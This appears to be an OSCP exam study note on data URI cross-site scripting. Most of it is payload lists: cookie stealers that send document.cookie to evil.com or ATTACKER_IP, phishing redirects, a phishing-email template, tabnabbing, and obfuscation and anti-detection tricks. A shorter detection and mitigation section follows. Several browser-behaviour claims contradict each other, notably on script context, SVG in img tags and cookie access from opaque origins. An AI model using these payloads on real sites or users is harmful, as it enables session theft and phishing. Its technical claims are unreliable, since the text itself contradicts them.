Data URI Attacks
Table of Contents
- Introduction
- Data URI Scheme Fundamentals
- Data URI XSS Vectors
- Data URI in Real Attacks
- Browser Restrictions and Behaviors
- Detection and Mitigation
- OSCP-Specific Tips and Lab Scenarios
- Advanced Techniques
- Reference and Further Reading
Introduction
Data URI attacks represent a powerful and often overlooked vector in client-side exploitation. The data: URI scheme allows embedding data directly within URLs, bypassing traditional file-based resource loading. When combined with insufficient input validation, this scheme becomes a potent weapon for Cross-Site Scripting (XSS), phishing, and privilege escalation attacks.
For OSCP candidates, understanding Data URI attacks is critical because:
- They appear in client-side attack scenarios (phishing emails, malicious documents)
- They enable payload delivery without external servers
- They work in air-gapped or restricted environments
- They are frequently combined with other attack vectors (HTML smuggling, SVG exploits)
Data URI Scheme Fundamentals
Syntax
The Data URI scheme follows this structure:
data:[<mediatype>][;base64],<data>
| Component | Description | Required |
|---|---|---|
data: |
Scheme identifier | Yes |
<mediatype> |
MIME type (e.g., text/html, image/svg+xml) |
Optional (defaults to text/plain) |
;base64 |
Encoding directive | Optional |
<data> |
The actual data content | Yes |
Basic Examples
# Plain text (no MIME type, no encoding)
data:,Hello%20World
# Text with explicit MIME type
data:text/plain,Hello%20World
# Base64 encoded text
data:text/plain;base64,SGVsbG8gV29ybGQ=
# HTML content
data:text/html,<h1>Hello</h1>
# Base64 encoded HTML
data:text/html;base64,PGgxPkhlbGxvPC9oMT4=
Supported Media Types and XSS Risk Levels
| Media Type | Risk Level | Executable JS? | Notes |
|---|---|---|---|
text/html |
Critical | Yes | Full HTML + JS execution |
text/javascript |
Critical | Yes | Direct JS execution |
image/svg+xml |
Critical | Yes | SVG with embedded scripts |
text/xml |
High | Context-dependent | Can lead to XXE or XSS |
application/json |
Low | No | Data only, no execution |
text/plain |
Low | No | Display only |
image/png |
Low | No | Image rendering only |
image/gif |
Low | No | Image rendering only |
application/pdf |
Medium | Context-dependent | PDF exploits possible |
How Browsers Handle Data URIs
- Parsing: The browser parses the
data:scheme, extracts the MIME type and encoding - Decoding: If
;base64is present, the data is decoded from Base64 - URL Decoding: Percent-encoded characters are decoded
- Content-Type Assignment: The MIME type determines how the content is processed
- Rendering/Execution: The content is rendered or executed based on its type
Important: The MIME type in the data URI overrides any server-provided Content-Type header.
Data URI XSS Vectors
1. data:text/html with Script Tags
The most straightforward and dangerous data URI attack vector.
Technical Explanation
When a browser navigates to a data:text/html URI, it treats the data as a complete HTML document. Any <script> tags within the data are executed with full page context.
Working Payload Examples
<!-- Basic HTML with inline script -->
data:text/html,<script>alert('XSS')</script>
<!-- With full HTML structure -->
data:text/html,<html><head><script>alert(document.domain)</script></head><body>Exploited</body></html>
<!-- URL encoded version -->
data:text/html,%3Cscript%3Ealert('XSS')%3C/script%3E
<!-- With external resource loading -->
data:text/html,<script src=http://evil.com/payload.js></script>
<!-- Stealing cookies -->
data:text/html,<script>new Image().src='http://evil.com/steal?c='+document.cookie</script>
<!-- Redirect attack -->
data:text/html,<script>window.location='http://evil.com/phishing'</script>
Base64 Encoded Variants
<!-- Base64 encoded: <script>alert('XSS')</script> -->
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
<!-- Base64 encoded cookie stealer -->
data:text/html;base64,PHNjcmlwdD5uZXcgSW1hZ2UoKS5zcmM9J2h0dHA6Ly9ldmlsLmNvbS9zdGVhbD9jJysgZG9jdW1lbnQuY29va2llPC9zY3JpcHQ+
Browser Compatibility
| Browser | Status | Notes |
|---|---|---|
| Chrome | Works | Full execution |
| Firefox | Works | Full execution |
| Safari | Works | Full execution |
| Edge | Works | Full execution (Chromium-based) |
2. data:text/javascript Execution
Technical Explanation
The data:text/javascript scheme tells the browser to treat the data as JavaScript code. This is executed directly without HTML wrapper.
Working Payload Examples
<!-- Direct JavaScript execution -->
data:text/javascript,alert('XSS')
<!-- With URL encoding -->
data:text/javascript,alert(document.cookie)
<!-- Multi-statement (using semicolons) -->
data:text/javascript,alert('Step1');alert('Step2');
<!-- With newlines (URL encoded as %0A) -->
data:text/javascript,alert('Line1');%0Aalert('Line2');
<!-- Complex payload -->
data:text/javascript,(function(){var%20i=new%20Image();i.src='http://evil.com/log?c='+document.cookie;})();
Browser Compatibility
| Browser | Status | Notes |
|---|---|---|
| Chrome | Works | When used in appropriate contexts |
| Firefox | Works | Most permissive |
| Safari | Restricted | Limited contexts |
| Edge | Works | Chromium-based behavior |
Critical Note: data:text/javascript works in <iframe src>, <object data>, and direct navigation, but NOT in <a href> in all browsers due to security restrictions.
3. data:image/svg+xml with SVG Payloads
Technical Explanation
SVG (Scalable Vector Graphics) is an XML-based image format that supports embedded JavaScript through event handlers and <script> tags. When served via data URI, it can execute arbitrary JavaScript.
Working Payload Examples
<!-- SVG with onload event handler -->
data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg>
<!-- URL encoded version -->
data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20onload%3D%22alert('XSS')%22%3E%3C/svg%3E
<!-- SVG with script tag -->
data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script></svg>
<!-- SVG with external script -->
data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg"><script href="http://evil.com/payload.js"></script></svg>
<!-- SVG with cookie stealing -->
data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" onload="new Image().src='http://evil.com/steal?c='+document.cookie"></svg>
<!-- SVG with redirect -->
data:image/svg+xml,<svg xmlns="http://www.w3.org/2000/svg" onload="window.location='http://evil.com'"></svg>
Base64 Encoded SVG
<!-- Base64 encoded SVG payload -->
data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG9ubG9hZD0iYWxlcnQoJ1hTUycpIj48L3N2Zz4=
<!-- Decoded: <svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"></svg> -->
SVG Event Handlers for XSS
| Event Handler | Trigger | Example |
|---|---|---|
onload |
SVG loads | <svg onload="alert(1)"> |
onclick |
User clicks | <svg onclick="alert(1)"> |
onmouseover |
Mouse hovers | <svg onmouseover="alert(1)"> |
onfocus |
Element focuses | <svg tabindex="1" onfocus="alert(1)"> |
onbegin |
Animation starts | <animate onbegin="alert(1)"> |
Browser Compatibility
| Browser | Status | Notes |
|---|---|---|
| Chrome | Works | Full SVG execution |
| Firefox | Works | Full SVG execution |
| Safari | Works | Full SVG execution |
| Edge | Works | Chromium-based behavior |
4. Base64 Encoded Data URIs
Technical Explanation
Base64 encoding is commonly used in data URIs to:
- Obfuscate malicious payloads
- Bypass simple string-based filters
- Encode binary data
- Avoid special character issues
Encoding/Decoding Examples
# Encode a payload
echo -n "<script>alert('XSS')</script>" | base64
# Output: PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
# Decode a payload
echo "PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=" | base64 -d
# Output: <script>alert('XSS')</script>
Python Encoding/Decoding
import base64
# Encode
payload = "<script>alert('XSS')</script>"
encoded = base64.b64encode(payload.encode()).decode()
print(encoded) # PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
# Decode
decoded = base64.b64decode(encoded).decode()
print(decoded) # <script>alert('XSS')</script>
Obfuscation Techniques
<!-- Mixed encoding: some URL encoded, some Base64 -->
data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdCcpPC9zY3JpcHQ+
<!-- Case variation (Base64 is case-sensitive but filters may not be) -->
data:text/html;base64,PhNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
<!-- Padding variations -->
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
5. Data URI in Various HTML Contexts
<a href> Context
<!-- Direct navigation -->
<a href="data:text/html,<script>alert('XSS')</script>">Click me</a>
<!-- SVG in link -->
<a href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>">Click</a>
<!-- JavaScript in link (may be blocked) -->
<a href="data:text/javascript,alert('XSS')">Click</a>
Browser Behavior:
- Chrome: Blocks
data:text/javascriptin<a href>but allowsdata:text/html - Firefox: More permissive, allows more data URI types in links
- Safari: Most restrictive
<iframe src> Context
<!-- HTML in iframe -->
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>
<!-- SVG in iframe -->
<iframe src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>"></iframe>
<!-- JavaScript in iframe -->
<iframe src="data:text/javascript,alert('XSS')"></iframe>
Note: <iframe> is one of the most reliable contexts for data URI execution across all browsers.
<img src> Context
<!-- SVG image with XSS -->
<img src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>">
<!-- URL encoded version -->
<img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20onload%3D%22alert(1)%22%3E%3C/svg%3E">
<!-- Base64 encoded SVG -->
<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KDEpIj48L3N2Zz4=">
Note: Only SVG data URIs work in <img> tags for XSS. Regular images (png, gif) cannot execute scripts.
<object data> Context
<!-- HTML object -->
<object data="data:text/html,<script>alert('XSS')</script>"></object>
<!-- JavaScript object -->
<object data="data:text/javascript,alert('XSS')"></object>
<!-- SVG object -->
<object data="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>"></object>
Note: <object> is very permissive and supports all data URI types.
<embed src> Context
<embed src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>">
<source src> Context (within <video>/<audio>)
<video>
<source src="data:video/mp4;base64,..." />
</video>
Note: Limited utility for XSS as video/audio data URIs don’t execute scripts.
Data URI in Real Attacks
1. Redirect via Data URI
Attack Flow
User clicks link → Navigates to data:text/html → Script executes → Redirects to phishing page
Payload Examples
<!-- Immediate redirect -->
data:text/html,<script>window.location='http://evil.com/phishing'</script>
<!-- Delayed redirect -->
data:text/html,<script>setTimeout(function(){window.location='http://evil.com'},3000)</script>
<!-- Redirect with cookie exfiltration -->
data:text/html,<script>
new Image().src='http://evil.com/steal?c='+document.cookie;
window.location='http://evil.com/phishing';
</script>
<!-- Base64 encoded redirect -->
data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb249J2h0dHA6Ly9ldmlsLmNvbS9waGlzaGluZyc8L3NjcmlwdD4=
In Phishing Emails
<!-- Email link that appears legitimate -->
<a href="data:text/html,<script>window.location='https://legitimate-looking-phishing.com'</script>">
Click here to verify your account
</a>
2. New Window Opening
Attack Flow
User clicks link → data URI opens → Script opens new window with malicious content
Payload Examples
<!-- Open new window -->
data:text/html,<script>window.open('http://evil.com/phishing')</script>
<!-- Open with specific dimensions -->
data:text/html,<script>window.open('http://evil.com','_blank','width=800,height=600')</script>
<!-- Open multiple windows -->
data:text/html,<script>
window.open('http://evil.com/page1');
window.open('http://evil.com/page2');
</script>
<!-- Tabnabbing attack -->
data:text/html,<script>
var w = window.open('about:blank','_blank');
w.document.write('<script>document.title="Original Page Title";document.body.innerHTML="<h1>Loading...</h1>"<\/script>');
setTimeout(function(){w.location='http://evil.com/phishing'},2000);
</script>
3. Object Tag Embedding
Attack Flow
Malicious page contains <object> → Object loads data URI → Script executes in page context
Payload Examples
<!-- Hidden object tag -->
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+" type="text/html" style="display:none"></object>
<!-- Object with type attribute -->
<object data="data:text/javascript,alert('XSS')" type="text/javascript"></object>
<!-- Nested in other elements -->
<div>
<object data="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onload='alert(1)'></svg>">
</object>
</div>
4. Combining with Other Attack Vectors
With HTML Smuggling (MHTML)
--boundary
Content-Type: text/html
<html>
<body>
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>
</body>
</html>
--boundary--
With XSS Stored/Reflected
<!-- If application reflects user input in href -->
<a href="USER_INPUT">Link</a>
<!-- Attacker injects -->
<a href="data:text/html,<script>stealCookies()</script>">Link</a>
With Open Redirect Vulnerabilities
<!-- Vulnerable redirect -->
http://victim.com/redirect?url=USER_INPUT
<!-- Attacker uses data URI -->
http://victim.com/redirect?url=data:text/html,<script>alert('XSS')</script>
With Template Injection
<!-- If template allows data URIs -->
<img src="{{user_avatar}}">
<!-- Attacker injects -->
<img src="data:image/svg+xml,<svg onload='alert(1)'>">
With JavaScript URL Scheme
<!-- Combined attack -->
<a href="javascript:window.location='data:text/html,<script>alert(1)</script>'">Click</a>
Browser Restrictions and Behaviors
Chrome Limitations and Restrictions
Current Restrictions (as of 2024)
| Context | Allowed | Blocked |
|---|---|---|
<a href> |
data:text/html, data:image/* |
data:text/javascript |
<iframe src> |
All data URI types | None |
<img src> |
data:image/* (SVG executes JS) |
data:text/html |
<object data> |
All data URI types | None |
window.location |
All data URI types | None |
fetch() |
All data URI types | None |
XMLHttpRequest |
All data URI types | None |
Chrome Security Features
// Chrome blocks data:text/javascript in <a href>
// This will NOT execute when clicked:
<a href="data:text/javascript,alert('XSS')">Blocked</a>
// But this WILL work:
<a href="data:text/html,<script>alert('XSS')</script>">Works</a>
Origin-Opaque Concept in Chrome
Data URIs loaded as navigations have an opaque origin:
// When page is loaded via data: URI
console.log(window.origin); // "null" or opaque origin
console.log(document.domain); // May be restricted
// Cross-origin restrictions apply
// Cannot access parent frame if parent has different origin
Implications:
- Data URI pages cannot access cookies of the original domain
- CORS restrictions still apply to external requests
document.domainmanipulation is limited
Firefox Permissiveness
Firefox Behavior
Firefox is historically more permissive with data URIs:
| Context | Allowed | Notes |
|---|---|---|
<a href> |
More types allowed | Including some JS variants |
<iframe src> |
All types | Full execution |
<img src> |
SVG with JS | Full execution |
<object data> |
All types | Full execution |
Firefox-Specific Considerations
<!-- May work in Firefox but not Chrome -->
<a href="data:text/javascript,alert('XSS')">Firefox Only</a>
<!-- SVG with more event handlers supported -->
<img src="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' onclick='alert(1)'>Click me</svg>">
Safari Strictness
Safari Restrictions
Safari is the most restrictive browser for data URI attacks:
| Context | Allowed | Blocked |
|---|---|---|
<a href> |
Limited | Most executable types |
<iframe src> |
Limited | Some types blocked |
<img src> |
SVG limited | Some event handlers blocked |
<object data> |
Limited | Many types blocked |
Safari-Specific Notes
<!-- May be blocked in Safari -->
<a href="data:text/html,<script>alert('XSS')</script>">May Not Work</a>
<!-- SVG may have limited event handler support -->
<img src="data:image/svg+xml,<svg onload='alert(1)'>">
Edge Behavior
Edge (Chromium-based) follows Chrome’s behavior almost identically:
| Feature | Edge Behavior |
|---|---|
| Data URI support | Same as Chrome |
| Security restrictions | Same as Chrome |
| Origin handling | Same as Chrome |
Origin-Opaque Concept (Deep Dive)
What is Origin-Opaque?
When a page is loaded via a data: URI, its origin is considered opaque or null:
// In a data: URI page
console.log(window.origin); // "null"
console.log(window.location.origin); // "null"
console.log(document.domain); // "" (empty string)
Security Implications
- Cookie Access: Data URI pages cannot access cookies from the referring domain
- DOM Access: Cannot access parent frame’s DOM if cross-origin
- Storage Access:
localStorageandsessionStorageare partitioned by origin - Fetch/XHR: External requests work but with opaque origin headers
Bypassing Origin Restrictions
<!-- Data URI cannot directly access parent cookies -->
<!-- But can exfiltrate via network request -->
data:text/html,<script>
// This works - sends cookie to attacker
new Image().src = 'http://evil.com/steal?c=' + document.cookie;
// This may NOT work - accessing parent frame
// parent.document.cookie; // Blocked by same-origin policy
</script>
Detection and Mitigation
Detection Methodology
1. Input Validation Detection
import re
# Detect data URI in input
DATA_URI_PATTERN = re.compile(r'data\s*:', re.IGNORECASE)
def detect_data_uri(input_string):
if DATA_URI_PATTERN.search(input_string):
return True
return False
# Test
print(detect_data_uri("data:text/html,<script>alert(1)</script>")) # True
print(detect_data_uri("https://example.com")) # False
2. WAF Rules
# Nginx: Block data URIs in query parameters
if ($query_string ~* "data\s*:") {
return 403;
}
# Apache: Block data URIs
RewriteCond %{QUERY_STRING} data\s*: [NC]
RewriteRule .* - [F]
3. JavaScript Detection
// Detect data URI in URL
function isDataURI(url) {
return url.startsWith('data:');
}
// Sanitize href attribute
function sanitizeHref(href) {
if (isDataURI(href)) {
return '#'; // Neutralize
}
return href;
}
4. Browser DevTools Detection
1. Open DevTools → Network tab
2. Filter by "data:" scheme
3. Look for suspicious data URIs in requests
4. Check Sources panel for data: URI scripts
Mitigation Strategies
1. Server-Side Input Validation
import re
ALLOWED_PROTOCOLS = ['http:', 'https:', 'mailto:', 'tel:']
def validate_url(url):
# Extract protocol
match = re.match(r'^([a-zA-Z][a-zA-Z0-9+.-]*):', url)
if not match:
return False
protocol = match.group(1).lower()
# Block dangerous protocols
dangerous = ['javascript:', 'data:', 'vbscript:', 'blob:']
if protocol in dangerous:
return False
# Allow only whitelisted protocols
if protocol not in ALLOWED_PROTOCOLS:
return False
return True
# Test
print(validate_url("data:text/html,<script>alert(1)</script>")) # False
print(validate_url("https://example.com")) # True
2. Content Security Policy (CSP)
# Strict CSP that blocks data URIs
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self' data:; object-src 'none'; frame-src 'self';
# Block all data URIs (most restrictive)
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self'; object-src 'none';
# Allow data URIs only for images
Content-Security-Policy: default-src 'self'; img-src 'self' data:;
3. Output Encoding
// HTML encode output
function htmlEncode(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Use when rendering user input
document.getElementById('output').innerHTML = htmlEncode(userInput);
4. Attribute Validation
// Validate href attributes
function validateAttribute(name, value) {
if (name.toLowerCase() === 'href' || name.toLowerCase() === 'src') {
if (value.startsWith('data:') || value.startsWith('javascript:')) {
return null; // Block
}
}
return value;
}
5. Framework-Level Protections
<!-- Angular: Auto-escapes by default -->
<a [href]="userUrl">Link</a>
<!-- React: Auto-escapes by default -->
<a href={userUrl}>Link</a>
<!-- Vue: Auto-escapes by default -->
<a :href="userUrl">Link</a>
OSCP Specific Tips and Lab Scenarios
Common OSCP Scenarios
Scenario 1: Phishing Email with Data URI
Setup:
- You have access to a victim’s email or can send phishing emails
- Target uses a browser that supports data URI execution
Attack:
<!-- Create phishing HTML -->
<html>
<body>
<h1>Account Verification Required</h1>
<p>Please click below to verify your account:</p>
<a href="data:text/html,<script>
// Steal credentials
new Image().src='http://<ATTACKER_IP>/steal?c='+document.cookie;
// Redirect to legit-looking page
window.location='http://<ATTACKER_IP>/phishing-page.html';
</script>">Verify Account</a>
</body>
</html>
Steps:
- Create malicious HTML with data URI link
- Send via email or upload to shared location
- Victim clicks link → data URI executes → cookies stolen
- Use stolen cookies for session hijacking
Scenario 2: Stored XSS with Data URI
Setup:
- Application has stored XSS vulnerability
- User input is reflected in an
<a href>attribute
Attack:
<!-- Input field value -->
data:text/html,<script>document.location='http://<ATTACKER_IP>/cookie?c='+document.cookie</script>
<!-- Resulting HTML -->
<a href="data:text/html,<script>document.location='http://<ATTACKER_IP>/cookie?c='+document.cookie</script>">Link</a>
Steps:
- Find stored XSS vulnerability
- Inject data URI payload
- Admin/other user clicks link → payload executes
- Capture cookies on attacker server
Scenario 3: SVG Upload Vulnerability
Setup:
- Application allows SVG file uploads
- SVG is served without proper sanitization
Attack:
<!-- malicious.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
<script>
new Image().src='http://<ATTACKER_IP>/steal?c='+document.cookie;
</script>
</svg>
As Data URI:
<!-- If upload converts to data URI -->
<img src="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9ImFsZXJ0KCdYU1MnKSI+PHNjcmlwdD5uZXcgSW1hZ2UoKS5zcmM9J2h0dHA6Ly8xMC4xMC4xNC4zMC9zdGVhbD9jJysgZG9jdW1lbnQuY29va2llPC9zY3JpcHQ+PC9zdmc+">
Scenario 4: Client-Side Template Injection
Setup:
- Application uses client-side templating
- User input is injected into template without sanitization
Attack:
<!-- Template: <a href="{{url}}">Link</a> -->
<!-- Input -->
data:text/html,<script>alert('XSS')</script>
<!-- Result -->
<a href="data:text/html,<script>alert('XSS')</script>">Link</a>
OSCP Exam Tips
1. Browser Choice Matters
| Target Browser | Best Payload |
|---|---|
| Chrome | data:text/html,<script>...</script> in <iframe> |
| Firefox | data:text/javascript,... in <a href> |
| Safari | data:image/svg+xml,... in <img> |
| Edge | Same as Chrome |
2. Always Test Multiple Vectors
# Test different data URI types
data:text/html,<script>alert(1)</script>
data:text/javascript,alert(1)
data:image/svg+xml,<svg onload="alert(1)"></svg>
3. Use Base64 for Obfuscation
# When filters block obvious payloads
echo -n "<script>alert(1)</script>" | base64
# Use: data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
4. Check for CSP
# Check Content-Security-Policy headers
curl -I http://target.com/page
# If CSP blocks data:, try other vectors
# If no CSP, data URIs are likely viable
5. Combine with Other Techniques
<!-- Data URI + Open Redirect -->
http://target.com/redirect?url=data:text/html,<script>alert(1)</script>
<!-- Data URI + HTML Injection -->
<div>USER_INPUT</div>
<!-- Inject: -->
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
Lab Machine Examples
Machine: Phishing-Based Attacks
Common Pattern:
- Gain low-privilege access
- Enumerate email/calendar access
- Craft phishing email with data URI payload
- Target admin/high-privilege user
- Steal cookies/tokens
- Escalate privileges
Payload Template:
data:text/html,<script>
// Exfiltrate to attacker server
new Image().src='http://<YOUR_IP>/capture?data='+encodeURIComponent(document.cookie);
// Optional: redirect to maintain cover
// window.location='https://legitimate-site.com';
</script>
Machine: Web App with XSS
Common Pattern:
- Find reflected/stored XSS
- Test data URI payload
- If works, craft cookie-stealing payload
- If blocked, try SVG variant
- Use captured session for access
Advanced Techniques
Polyglot Data URIs
A polyglot payload that works in multiple contexts:
<!-- Works as HTML, SVG, and JavaScript -->
data:text/html,<svg/onload=alert(1)>
<!-- More complex polyglot -->
data:text/html,<!--><script>alert(1)//</script>
Unicode and Encoding Bypasses
<!-- Unicode encoding -->
data:text/html,<scr\u0069pt>alert(1)</script>
<!-- Mixed encoding -->
data:text/html,%3Cscript%3Ealert(1)%3C/script%3E
<!-- Double encoding (if decoder applies once) -->
data:text/html,%253Cscript%253Ealert(1)%253C/script%253E
Timing-Based Attacks
<!-- Delayed execution to bypass rate limiting -->
data:text/html,<script>setTimeout(function(){alert(1)},5000)</script>
<!-- Interval-based exfiltration -->
data:text/html,<script>
setInterval(function(){
new Image().src='http://evil.com/log?d='+new Date().toISOString();
}, 60000);
</script>
Anti-Detection Techniques
<!-- Avoid common signatures -->
data:text/html,<script>
// Instead of alert(1)
window['ale'+'rt'](1);
// Instead of document.cookie
document['cookie'];
// Instead of new Image()
(new%20Image)().src='http://evil.com';
</script>
Data URI Size Limitations
| Browser | Max Data URI Size |
|---|---|
| Chrome | ~2MB |
| Firefox | ~4MB |
| Safari | ~2MB |
| Edge | ~2MB |
| IE | ~32KB |
Note: For large payloads, consider splitting or using external resources.
Reference and Further Reading
OWASP Resources
Browser Documentation
Tools
| Tool | Purpose |
|---|---|
| Burp Suite | Intercept and modify data URI requests |
| OWASP ZAP | Detect data URI vulnerabilities |
| XSStrike | Automated XSS detection |
| Dalfox | XSS parameter analysis |
Practice Resources
Quick Reference Cheat Sheet
Most Reliable Payloads
# Universal (works in most contexts)
data:text/html,<script>alert(1)</script>
# SVG variant (for img tags)
data:image/svg+xml,<svg/onload=alert(1)>
# Base64 encoded
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
# Cookie stealer
data:text/html,<script>new Image().src='http://ATTACKER_IP/?c='+document.cookie</script>
# Redirect
data:text/html,<script>window.location='http://ATTACKER_IP/phishing'</script>
Context Selection Guide
| Target Attribute | Best Payload Type |
|---|---|
<a href> |
data:text/html,<script>...</script> |
<iframe src> |
Any data URI type |
<img src> |
data:image/svg+xml,<svg/onload=...> |
<object data> |
Any data URI type |
<embed src> |
data:image/svg+xml,... |
window.location |
Any data URI type |
Browser Testing Priority
- Firefox - Most permissive, test first
- Chrome/Edge - Similar behavior, test together
- Safari - Most restrictive, test last
This study note is designed for OSCP exam preparation. Always practice in authorized lab environments only.